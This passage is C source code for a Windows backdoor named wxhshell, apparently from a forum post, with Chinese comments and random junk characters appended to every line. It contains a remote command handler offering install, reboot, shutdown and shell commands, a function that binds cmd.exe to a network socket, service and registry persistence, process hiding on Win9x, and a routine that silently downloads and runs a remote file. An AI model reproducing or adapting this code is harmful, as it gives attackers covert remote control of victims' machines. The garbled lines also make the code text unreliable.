  } ;5@  t[r  
  else { CbN!1E6).  
vTv]U5%:>%  
    switch(cmd[0]) { )V!dBl"Gq  
  bXS:x  
  // 帮助 c6Y\n%d&  
  case '?': { pmX#E  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9cJH"  
    break; 6oui]$pH  
  }   zxp`  
  // 安装 ^iQn'++Q  
  case 'i': { t(="h6i  
    if(Install()) s3W@WH^.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ak:c rrkx  
    else 7'OtruJ   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TRsE %  
    break; ngGO0  
    } vf8\i-U=  
  // 卸载 _'#x^D  
  case 'r': { Y@ZaJ@%9@  
    if(Uninstall()) xU%w=0z <  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E= `6-H{  
    else dg^L=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); je]}R>[r5  
    break; iDf,e Kk$'  
    } u :F~K  
  // 显示 wxhshell 所在路径 O@YTAT&d#  
  case 'p': { dMrd_1  
    char svExeFile[MAX_PATH]; 5O`dO9g}$  
    strcpy(svExeFile,"\n\r"); Hk|0HL  
      strcat(svExeFile,ExeFile); $-On~u0g  
        send(wsh,svExeFile,strlen(svExeFile),0); F]9nB3:W  
    break; x"~~l  
    } &N;-J2M  
  // 重启 ] Eh}L  
  case 'b': { Y6&wJ<   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +*_5tWAc  
    if(Boot(REBOOT)) `SVmQSwO[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `)QCn<  
    else { CpJ0m-7aIH  
    closesocket(wsh); uPniLx\t:  
    ExitThread(0); Y[ N^p#t{  
    }  \lSU  
    break; _!|/ ;Nk  
    } pJ ?~fp  
  // 关机 >"Q@bQ:e  
  case 'd': { t+Op@*#%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p6vKoI#T  
    if(Boot(SHUTDOWN)) /y>>JxAEb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pAk/Qxl3eo  
    else { D\e8,,H  
    closesocket(wsh); x|{IwA9  
    ExitThread(0); G}9=)  
    } #]'rz,E<  
    break; san,|yrMn  
    } r#6_]ep}<'  
  // 获取shell w;l<[q?_  
  case 's': { Q3"} Hl2  
    CmdShell(wsh); CA +uKM^"6  
    closesocket(wsh); rm} R>4  
    ExitThread(0); $U/YR&vcw  
    break; kHqztg  
  } %e@#ux m  
  // 退出 pT$f8xJ  
  case 'x': { !\ g+8>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Zc?ppO  
    CloseIt(wsh); :f$xQr4Qz  
    break; uB7 V?A  
    } E#F/88(  
  // 离开 *@TZ+{t  
  case 'q': { N;+[`l  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [{X^c.8G)  
    closesocket(wsh); K).n.:vYZ  
    WSACleanup(); )IJQeC  
    exit(1); *FJZi Py  
    break; _.-;5M-  
        } =r@vc  
  } 7h)iu9j  
  } ~gu3g^<0v  
sUYxT>R  
  // 提示信息 i.:. Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w/L `  
} TFcT3]R[rL  
  } _$>pw<  
yOvm`9  
  return; lq"f[-8a2q  
} BAO|)~1Pd  
J sEa23  
// shell模块句柄 72veLB  
int CmdShell(SOCKET sock) 5 B=^v#m  
{ P#:?ok  
STARTUPINFO si; wRrnniqf8  
ZeroMemory(&si,sizeof(si)); %K]euEqs  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pc?>cs8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sp* Vqd  
PROCESS_INFORMATION ProcessInfo; w eQYQrN  
char cmdline[]="cmd"; b9XW9O `B  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P<fnLQ9  
  return 0; Ks\ NE=;5  
} ,E.' o=Z  
] 7 _`]7p  
// 自身启动模式 Vn~UB#]'3  
int StartFromService(void) \qUKP"dr  
{ v)_nWu  
typedef struct i{I~mrm/'\  
{ VS&TA>  
  DWORD ExitStatus; Sc7U |s  
  DWORD PebBaseAddress; 4l&g6YneX  
  DWORD AffinityMask; /W<>G7%.  
  DWORD BasePriority; !!o8N<NU  
  ULONG UniqueProcessId; 1 n%?l[o  
  ULONG InheritedFromUniqueProcessId; b]a@  
}   PROCESS_BASIC_INFORMATION; "U \JV)N  
a[2vjFf#C  
PROCNTQSIP NtQueryInformationProcess; +S))3 5N[  
4R5D88= C  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0KD]j8^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; . <tq6 1  
P+)DsZ0ig  
  HANDLE             hProcess; 2[gFkyqe  
  PROCESS_BASIC_INFORMATION pbi;  ykrr2x  
ujJI 1I  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4ikdM/  
  if(NULL == hInst ) return 0; "YB** Y  
iX\W;V  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C4}*) a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); YSaJeU>@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D/=5tOy  
mR;qMX)0h  
  if (!NtQueryInformationProcess) return 0; +x1eJug4  
Tz9`uW~Mf  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \(">K  
  if(!hProcess) return 0; j:w{;(1=W  
>><.3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]QuM<ms  
` \A(9u*  
  CloseHandle(hProcess); a {ab*tM  
}^(}HBT  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,j5&6X=1M  
if(hProcess==NULL) return 0; l$hJE;n  
^'jEnN(  
HMODULE hMod; eh[_~>w  
char procName[255]; we#wH-  
unsigned long cbNeeded; -n0C4kZ2o  
Skz|*n|eY  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 76vy5R(.  
~y$ !48o  
  CloseHandle(hProcess); !`mZ0c+  
F]m gmYD%  
if(strstr(procName,"services")) return 1; // 以服务启动 #oJ5k8Wy  
;}z\i  
  return 0; // 注册表启动 r &Ca" dI  
} ]qB:PtX  
*G UAO){'  
// 主模块 Yhp]x   
int StartWxhshell(LPSTR lpCmdLine) _sy'.Fo  
{ y ?G_y  
  SOCKET wsl; +ht| N[P  
BOOL val=TRUE; :pRpv hm  
  int port=0; $v8l0JA *  
  struct sockaddr_in door; H\ 1qI7N C  
 KQ[!o!%  
  if(wscfg.ws_autoins) Install(); =H<0o?8?c  
StI1){Wf  
port=atoi(lpCmdLine); a=TG[* s  
?`[NFqv_]  
if(port<=0) port=wscfg.ws_port; ~}ET?Q7t  
LJVG~Yeo  
  WSADATA data; 1&:@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; % },Pe  
B4XZko(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   gKg-O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [j4v]PE  
  door.sin_family = AF_INET; *MI*Rz?4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); kbPE "urR  
  door.sin_port = htons(port); 7a=S  
4Z*U}w)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { OUP?p@%]<  
closesocket(wsl); ,^8MB.  
return 1; NU (AEfF  
} BGr.yEy  
"g+z !4b#  
  if(listen(wsl,2) == INVALID_SOCKET) { @u._"/K  
closesocket(wsl); { BEo &  
return 1; aiCn"j  
} B cj/y4"  
  Wxhshell(wsl); -|Kzo_" v5  
  WSACleanup(); 8q)=  
-A-tuyIsh"  
return 0; 79=45'8  
Z2"? &pKV  
} hO[3Z ^X  
US{3pkr;I]  
// 以NT服务方式启动 +%\oO/4Fs  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8j1ekv  
{ UhmTr[&  
DWORD   status = 0; q8ImrC.'^  
  DWORD   specificError = 0xfffffff; -6 sW6;Q  
2u?zO7W)-L  
  serviceStatus.dwServiceType     = SERVICE_WIN32; bAr` E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; D5?phyC[Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [@fz1{*  
  serviceStatus.dwWin32ExitCode     = 0; wNE$6  
  serviceStatus.dwServiceSpecificExitCode = 0; Y\2|x*KwvF  
  serviceStatus.dwCheckPoint       = 0; A-CUv[pM  
  serviceStatus.dwWaitHint       = 0; 8[ry |J  
TCvSc\Q[:1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); fE,9zUo  
  if (hServiceStatusHandle==0) return; *5,c Rz  
hnWo|! ,O$  
status = GetLastError(); #=}$OFg  
  if (status!=NO_ERROR) &W }<:WH~  
{ ^6p'YYj"5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~2 u\  
    serviceStatus.dwCheckPoint       = 0; mDFlz1J,e  
    serviceStatus.dwWaitHint       = 0; Ri>?KrQF%  
    serviceStatus.dwWin32ExitCode     = status; `:M^8SYrL  
    serviceStatus.dwServiceSpecificExitCode = specificError; "8V{5e!%j'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); V,%L ~dI  
    return; SK$Vk[c]  
  } *R % wUi  
x?D/.vrOY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bl/,*Wx:4.  
  serviceStatus.dwCheckPoint       = 0; T@^]i&  
  serviceStatus.dwWaitHint       = 0; N]5m(@h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); z (c9,3  
} si(;y](  
uHNpfKnZ  
// 处理NT服务事件,比如:启动、停止 A\te*G0:S  
VOID WINAPI NTServiceHandler(DWORD fdwControl) dPjhq(8 zU  
{ <@bA?FY  
switch(fdwControl) Hoz56y  
{ 2k#t .-  
case SERVICE_CONTROL_STOP: [FQ\I-GNC  
  serviceStatus.dwWin32ExitCode = 0; !NKmx=I]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;+pOP |P=  
  serviceStatus.dwCheckPoint   = 0; OuIv e>8  
  serviceStatus.dwWaitHint     = 0; ;K:8#XuV  
  { !PUp>(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ELa ja87  
  } Gt/4F-Gn  
  return; TOI4?D]  
case SERVICE_CONTROL_PAUSE: N<z`yV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |sgXh9%x<  
  break; 5nCu~<uJ  
case SERVICE_CONTROL_CONTINUE: 6-,m}Ce\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; PI5j"u UO  
  break; wz -)1!  
case SERVICE_CONTROL_INTERROGATE: TF+ l5fv  
  break; |kiJ}oy  
}; '4;6u]d)2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -pTI?  
} )"O{D`uX  
6&2LWaWMo$  
// 标准应用程序主函数 ;)!"Ty|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G5]1s  
{ 9 -jO,l  
KO]N%]:&~  
// 获取操作系统版本 w\|Ei(  
OsIsNt=GetOsVer(); \Rk$t7ZH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); p*;Qz  
"EftN5?/  
  // 从命令行安装 qg,Nb  
  if(strpbrk(lpCmdLine,"iI")) Install(); zXc}W*ymj  
xQt 3[(Z  
  // 下载执行文件 k ~6- cx  
if(wscfg.ws_downexe) {  ?)tK!'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E1>/R  
  WinExec(wscfg.ws_filenam,SW_HIDE); VTe.M[:  
} :X .,  
Na!za'qk[o  
if(!OsIsNt) { 2f:Mm'XdB  
// 如果时win9x,隐藏进程并且设置为注册表启动 }WP-W  
HideProc(); r!/0 j)  
StartWxhshell(lpCmdLine); P0\eB S  
} {^RG% &S  
else w4MwD?i]R  
  if(StartFromService()) @eQld\h'  
  // 以服务方式启动 VTh$a_P>  
  StartServiceCtrlDispatcher(DispatchTable); 5A_4\YpDR  
else `n-vjjG%#  
  // 普通方式启动 I 8Y*@$h  
  StartWxhshell(lpCmdLine); -Fwh3F 4g  
? J|4l[x  
return 0; 'm1.X-$V  
}
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只看该作者 1 发表于: 2006-10-10
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